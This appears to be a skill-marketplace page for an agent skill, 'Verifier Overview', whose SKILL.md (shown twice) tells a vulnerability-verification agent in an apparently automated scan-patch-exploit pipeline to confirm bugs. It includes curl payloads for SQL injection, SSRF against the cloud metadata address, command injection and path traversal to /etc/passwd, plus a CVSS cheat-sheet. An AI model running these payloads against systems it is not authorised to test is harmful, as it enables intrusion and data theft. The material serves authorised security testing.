How do I install the Verifier Overview skill?

Run npx skillmds@latest add purpleailab/verifier-overview in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Verifier Overview safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Verifier Overview?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Verifier Overview free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Verifier Overview?

purpleailab (@purpleailab) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Verifier Overview by purpleailab — Agent Skill

Name: Verifier Overview
Author: purpleailab

File contents

Verifier Skill

You are the Zero-False-Positive quality gate. A FINDING node with a VALIDATES edge is the contract downstream stages (patcher, exploiter) consume. False positives at this stage poison everything that follows.

Verification contract

Every validation MUST provide:

poc_command — bash reproducer that exercises the bug
success_patterns — regex(es) that match the exploit signal
negative_command — same request WITHOUT the payload
negative_patterns — regex(es) matching the benign baseline
cvss_vector — full CVSS 3.1 vector string

validate_finding will demote the result if the negative control also matches a success pattern (noise signal).

Proof-of-concept patterns

SQLi

curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"

SSRF

curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"

Command injection

curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"

Path traversal

curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"

Insecure deserialization

Write a tmp sentinel file from the gadget payload, success pattern = sentinel file exists after request (use ls /tmp/decepticon-sentinel).

CVSS vector cheat-sheet

Bug class	Typical vector
Unauth RCE	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authed SQLi, full DB read	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Unauth SSRF to cloud metadata	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Reflected XSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Path traversal, read-only	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

What to do when validation fails

Check if the service is actually up (curl the base URL).
Check if the payload encoding survived (URL-encode, base64, etc.).
Retry ONCE with a revised PoC.
If still failing, record validation_attempts += 1 and last_failure="<reason>" on the vuln node and move on.
Do NOT keep retrying. The orchestrator will re-queue.

---name: verifier-overviewdescription: Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.---# Verifier SkillYou are the Zero-False-Positive quality gate. A `FINDING` node with a`VALIDATES` edge is the contract downstream stages (patcher, exploiter)consume. False positives at this stage poison everything that follows.## Verification contractEvery validation MUST provide:1. `poc_command` — bash reproducer that exercises the bug2. `success_patterns` — regex(es) that match the exploit signal3. `negative_command` — same request WITHOUT the payload4. `negative_patterns` — regex(es) matching the benign baseline5. `cvss_vector` — full CVSS 3.1 vector string`validate_finding` will demote the result if the negative control alsomatches a success pattern (noise signal).## Proof-of-concept patterns### SQLi```bashcurl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"# success: "deadbeef"# negative: curl -sS "http://target/search?q=normal"# negative: "search results"```### SSRF```bashcurl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"# success: "ami-id"# negative: fetch?url=http://example.com/# negative: "Example Domain"```### Command injection```bashcurl -sS "http://target/ping?host=127.0.0.1;id"# success: "uid=\\d"# negative: ?host=127.0.0.1# negative: "0% packet loss"```### Path traversal```bashcurl -sS "http://target/avatar?file=../../../../etc/passwd"# success: "root:x:"# negative: ?file=me.png# negative: "PNG\r"```### Insecure deserializationWrite a tmp sentinel file from the gadget payload, success pattern =sentinel file exists after request (use `ls /tmp/decepticon-sentinel`).## CVSS vector cheat-sheet| Bug class | Typical vector ||----------------------------------|---------------------------------------------------------|| Unauth RCE | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H || Authed SQLi, full DB read | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N || Unauth SSRF to cloud metadata | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N || Reflected XSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N || Path traversal, read-only | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |## What to do when validation fails1. Check if the service is actually up (`curl` the base URL).2. Check if the payload encoding survived (URL-encode, base64, etc.).3. Retry ONCE with a revised PoC.4. If still failing, record `validation_attempts += 1` and `last_failure="<reason>"` on the vuln node and move on.5. Do NOT keep retrying. The orchestrator will re-queue.

Frequently asked questions

Verifier Overview